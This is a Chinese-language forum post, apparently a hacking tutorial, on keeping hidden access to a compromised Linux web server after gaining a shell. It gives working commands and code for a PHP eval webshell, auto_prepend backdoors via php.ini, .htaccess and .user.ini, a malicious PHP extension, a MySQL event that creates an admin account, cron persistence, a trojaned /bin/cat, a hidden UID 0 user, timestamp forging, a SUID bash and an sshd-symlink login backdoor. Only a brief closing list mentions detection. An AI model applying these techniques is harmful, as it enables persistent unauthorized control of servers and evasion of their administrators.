用户
搜索

如何和管理员玩躲猫猫/权限维持

2019-1-24 13:37| 发布者: 桃子Tz| 查看: 60| 评论: 0|原作者: tllm

如何和管理员玩躲猫猫/权限维持




  • 有些时候,当你对于一个服务器getshell以后,例如有一个webshell,但是可能被对方的管理员发现,在发现之前我们有什么办法让自己的后门藏起来呢,方便被删权限以后再次控制机器 都是基本操作 别笑我 求求你们了





本文环境


ubuntu 16.04 + php + mysql

另外不同操作基于不同权限 有可能是root 有可能是webserver的权限


Webshell/Web


>* 基于web服务的一句话下和管理员进行的捉迷藏


一个最简单的webshell一句话


1.藏于一些对方的文件下,比如upload/image/等文件夹里夹带着大量文件的文件夹


1.你可以直接写成php后缀的文件 当然 这很容易被发现

2.可以利用htaccess文件进行重写

在我的环境下(上文提及) 默认是不开启rewrite

ps:我以前是在的centos之类的做的多 ubuntu我还找了一下配置文件


sudo a2enmod rewrite
sudo vim /etc/apache2/sites-enabled/000-default
#将/var/www 下的AllowOverride None 修改为 AllowOverride All,如果没有看到这项内容,可以修改apache2.conf配置文件:
sudo vim /etc/apache2/apache2.conf
sudo /etc/init.d/apache2 restart


基于htaccess bakcdoor操作的有很多我也是抛砖引玉


弊端



  • 虽然说大部分网站都是会主动开启rewrite 但是还是怕脸黑 如果需要开rewrite 是需要root权限重启服务的 而且修改的配置文件多 动静大

  • 越来越多的管理员有安全意识 类似存放Img文件 doc文件会开启禁止执行的权限限制


优点:



  • 虽然也不算什么优点 但还是说说

  • .htaccess 在linux中是.开头 属于隐藏文件 ls可能还没看见  

  • 如果在一个正常的图片中插入代码可能更难发现


img code
<phpwebshell>
img code


  • 权限在不用开启rewrite的情景下 只用webserver

  • 另外 如果文件名最好是符合同文件夹下的命名规则 例如xxx时间撮.jpg 这样子管理员追查日志更难找到 而不是醒目的1.jpg konjac.jpg xxx.jpg....

  • 暂时想不到 loading....还有关于这种操作的技巧希望还有大佬们讲讲


2.藏于php.ini




  • php.ini是php的配置文件 可以用来控制php的某些功能  在这个文件上可以做很多操作



举个例子

在/etc/php7.0/apache2/php.ini中 (本文测试环境,以后的路径都不再说明)


; Automatically add files before PHP document.
; http://php.net/auto-prepend-file
auto_prepend_file =

; Automatically add files after PHP document.
; http://php.net/auto-append-file
auto_append_file =

其中有这样子的2个配置

auto_prepend_file =

auto_append_file =

根据注释可以看明白 一个是在php文档之前自动添加文件。一个是在php文档后自动添加文件。


我们来实验一下

修改php.ini文件 这个参数是受到include_path限制的 所以我们给这2个参数进行修改 我这里放在了网站目录 你也可以放在别的php有权限的地方更加隐蔽 比如/tmp /etc/php/xxx/等等


修改参数以后我一直重启php发现没有生效 然后才知道是重启apache

重启以后访问一个文件



的确是在test.php 前面自动include了一个文件


然后我们延伸一下 自php5.3开始 php支持基于每个目录的.htaccess风格的ini文件 说的通俗点 除了主 php.ini 之外,PHP 还会在每个目录下扫描 INI 文件,从被执行的 PHP 文件所在目录开始一直上升到 web 根目录($_SERVER[zxsq-anti-bbcode-'DOCUMENT_ROOT'] 所指定的)。如果被执行的 PHP 文件在 web 根目录之外,则只扫描该目录。


当然了 不是php.ini所有的设置你都可以做操作 是有具体模式的



PHP_INI_USER 可在用户脚本(例如 ini_set())或 Windows 注册表(自 PHP 5.3 起)以及 .user.ini 中设定

PHP_INI_PERDIR    可在 php.ini,.htaccess 或 httpd.conf 中设定

PHP_INI_SYSTEM    可在 php.ini 或 httpd.conf 中设定

PHP_INI_ALL    可在任何地方设定



具体模式可以看官方的文档http://php.net/manual/zh/ini.list.php


实际上 除了 php_ini_system 别的都可以利用 .user.ini控制

一开始我的.user.ini一直未生效 以为是有300秒的生效时间 结果发现是


不管是 nginx/apache/IIS,只要是以fastcgi运行的php都可以用这个方法

apache 一般不是fastcgi 得装模块 为了节省时间我就用.htaccess来实验

注意.htaccess的写法 有点不一样


只是一些很多年前就有的操作了 希望有大佬们多分享一下


优点



  • 可以知道 我们只要有webserver的权限就kyii通过.htaccess/.user.ini来控制所有的php文件包含后门

  • 动静不大 动的东西不多


弊端:



  • 隐藏性不高 有经验的人都能发现


待补充....


3.制作.so扩展后门




  • PHP扩展简介

    PHP扩展库(在Linux中为.so,在Windows中为.dll),它们提供了添加可以从执行的PHP脚本调用的新函数集的可能性。扩展可以使用php.ini文件中的定义自动加载,参数名为“extension”; 或者使用函数dl()从将要执行的PHP脚本代码动态执行 另外刚刚去看了看官方手册 dl函数已经在新版本删了



0x01:

http://cn2.php.net/distributions/

先去下载一个php下来 然后解压


$ cd phpxxx/
$ ./configure
$ make
$ cd etx
$ ./etx_skel --extname=konjac          # [zxsq-anti-bbcode-backdoorname]
$ cd konjac

在创建的文件中,有一个konjac.c文件 然后这里写明几点




  • PHP_FUNCTION() 是用来 将被导出 以便用来 从php中执行的函数 这里可以定义所需要的新功能。

  • PHP_MINT_FUNCTION() 每当php解析器启动时,都会执行你利用这个注册的代码,还有一个就是 你添加的代码都是root身份执行的,是一种使用特权执行代码的方法。

  • PHP_MSHUTDOWN_FUNCTION() 这个代码是应该在停止php解析器之前执行的 看这个shutdown的单词就猜到了

  • PHP_RINT_FUNTION() 这个是在php文件执行启动时执行

  • PHP_RSHUTDOWN_FUNCTION()  这个是在php文件执行结束时执行。

  • PHP_MINFO_FUNCTION() 这个是以phpinfo的形式显示。用来检测扩展是否正确加载。



我们打开config.m4这个文件 取消下面三行的注释


#这里的注释不是# 是dnl
PHP_ARG_ENABLE(backdoor, whether to enable backdoor support,
Make sure that the comment is aligned:
[zxsq-anti-bbcode-  --enable-backdoor           Enable backdoor support])

然后顺手改改konjac.c里面的代码 看看测试效果


PHP_MINFO_FUNCTION(konjac)
{
   php_info_print_table_start();
   php_info_print_table_header(2, "konjac test hack", "enabled");
   php_info_print_table_end();
}

修改保存以后执行


$ phpize # 如果没有 apt-get install phpiz
$ ./configure
$ make

成功的效果图:


然后修改php.ini


extension=/tmp/konjac.so


我测试了3个小时 自己给自己挖了个坑 发现网上大多是php5的扩展编译资料 没看到php7的 一直不知道为何get或者post的参数获取不到 后来想了想 我都能编译扩展库了 system函数一把梭

在konjac.c中添加如下demo测试代码



这样子我每次访问php文件就会执行这个代码


$ cat /tmp/konjac
konjac

另外 这里时间关系就不演示了  说明几点

可能说这个动的文件多 但是这里操作空间很大

比如 php.ini加载是加载一次的 所以我们可以

利用PHP_MINT_FUNCTION(是root权限)在php开启的时候把php.ini里面的extension删除 然后修改时间撮

利用PHP_MSHUTDOWN_FUNCTION在php服务关闭的时候把php.ini里面的extension加回来 然后修改时间撮 但是如果对方不是重启 只关闭就可以发现了 想想还有什么骚操作?抛砖引玉


顺便记一个东西

zend_eval_string是在c语言中执行php代码


int zend_eval_string ( char* str, zval* retval_ptr, char* string_name, magic TSRMLS_DC )
第一个参数是字符串型的,就是要执行的PHP代码。
第二个是返回的值,因为是zval型的,所以得先做下初始化,直接操作return_value这个变量是可以直接返回给外面调用的PHP的。
第三个也是字符串,可以随便写,出错了提示地方的,后面接一个变态宏TSRMLS_CC。
例如:
zend_eval_string("phpinfo();",return_value,"konjac" TSRMLS_DC);

还有不死马 写进内存 php定时任务之类的 就先不说了。网上都有很多很多总计

web方面的大概写在这里 有点累 其实都是一些老操作 大佬们笑笑就好了


基于MYSQL


1. mysql定时任务


create procedure konjac_test() begin insert into test.admin(admin_user,admin_passwd) values('hackuser','123456'); end //创建一个存储过程 
create event e_konjac on schedule every 60 second on completion preserve disable do call konjac_test(); 创建一个定时任务 60秒执行一次存储过程 当然了 我个人觉得一天最好
alter event e_konjac on completion preserve enable; //开启定时任务
alter event e_konjac on completion preserve disable; //关闭定时任务



也可以写文件 或者执行系统命令之类的 反正都是mysql语句 不一一描述


基于linux文件




  • linux的功能性强 操作空间也特别大



crontab 定时任务


crond 是linux下用来周期性的执行某种任务或等待处理某些事件的一个守护进程,与windows下的计划任务类似,当安装完成操作系统后,默认会安装此服务 工具,并且会自动启动crond进程,crond进程每分钟会定期检查是否有要执行的任务,如果有要执行的任务,则自动执行该任务。


ubuntu的情景下


#ubuntu和cetnos等服务器可能命令有所差异
crontab -e
#在最后一行添加你要执行的定时任务
#每分钟执行一次命令
*/1 * * * * echo konjac >> /tmp/crontabtest
#退出来以后 service cron restart
可以看出是能成功执行的 至于怎么操作定时任务就是发挥你的脑动啦 或者想想如何让人不发现你的定时任务
konjac@konjac-CN15S:/var/spool/cron$ cat /tmp/crontabtest
konjac
konjac
konjac
konjac
konjac
konjac

如何让管理员执行我们的命令


比如我们执行一个命令


cat xxx

是等同于


/bin/cat xxx

那么我们如果在/bin/cat 里面藏后门呢


mv /bin/cat /bin/back_cat #更改实际cat路径方便以后调用
vim /bin/cat
添加内容:
echo "hello i am hackcode"
/bin/back_cat

然后执行cat test 结果发现成功打印hello i am hackcode 但是一直在输入的状态

是因为没有参数传给back_cat 所以我们可以利用$1 获取shell的参数来传给back_cat


vim /bin/cat
添加内容:
echo "hello i am hackcode"
/bin/back_cat $1

执行


~ cat /var/www/html/shell.php 
hello i am hackcode
<?php
eval($_REQUEST[zxsq-anti-bbcode-'konjac']);
?>

然后又思考了一下 如果屌丝管理员cat 2个文件 或者别的命令有别的参数呢


#vim /bin/cat
echo "hello i am hackcode"
for i in "$*";do
        /bin/back_cat $i
done

执行


~$ cat shell.php test.php 
hello i am hackcode
<?php
eval($_REQUEST[zxsq-anti-bbcode-'konjac']);
?>
<?php
echo "hello i am test";
?>

是成功执行了cat的作用和实现执行自己的命令的


另外一些命令记录一下


Linux/Unix 添加 UID 为 0 的用户(肯定是要root权限的啦)


useradd -o -u 0 backdoor

然后去/etc/passwd /etc/shadow中把最后一行 属于backdoor的信息 移到中间 迷惑管理员的眼睛

虽然一个cat /etc/passwd|grep :0的事情 但是说不定可以骗骗半桶水


修改时间撮


语法:touch -t +时间撮

konjac@konjac-CN15S:/var/www/html$ sudo touch -t 1401010101.01 konjac.php

ps:前几个星期听某师傅说某公司的检测后门基于时间撮 我也是醉了 哈哈


添加bash后门


root:~# cp /bin/bash /tmp/.bash
root:~# chmod u+s /tmp/.bash

test@konjac-CN15S:$ /tmp/.bash -p
.bash-4.3# id
uid=1001(test) gid=1002(test) euid=0(root) 组=1002(test)
.bash-4.3#

添加ssh后门


ln -sf /usr/sbin/sshd /tmp/su; /tmp/su -oPort=5555;

执行这个命令以后 ssh这个服务器5555端口 任意密码既可登录root


.bashrc


~/.bashrc中每次打开新的shell都会自动执行命令


还有LINUX pam 后门 linux openssh后门 rookit后门 各种各样的藏后门 我依稀记得一年前有个师傅还能在ssh的config里面藏后门 基于密钥的那种  手法太多了 说三天三夜也说不完


综上所述:


思考与对抗



  • 是否可以建立一个linux所有文件的hash对照表 检测什么文件发生了变化 以至于 管理员进行检测

  • 多对系统进行备份

  • 也是一些比较简单的操作 但是如果混合起来运用 可以恶心管理员的  如果你熟练掌握以后 再加上一些骚操作

  • 触类旁通:比如cat 或者 vi 会不会遇到哪种字符会终止 遭到截断 有什么文件 在shell情景下较难删除

  • 如何让自己的动静小 尽最大努力保持文件hash 不变 时间撮不变

  • 如何清理自己操作的日志

  • 如何记录hack操作的日志


藏考资料:


http://www.baidu.com

http://www.google.com



桃子Tz,如果您要查看本帖隐藏内容请回复





鲜花
鲜花
握手
握手
雷人
雷人
路过
路过
鸡蛋
鸡蛋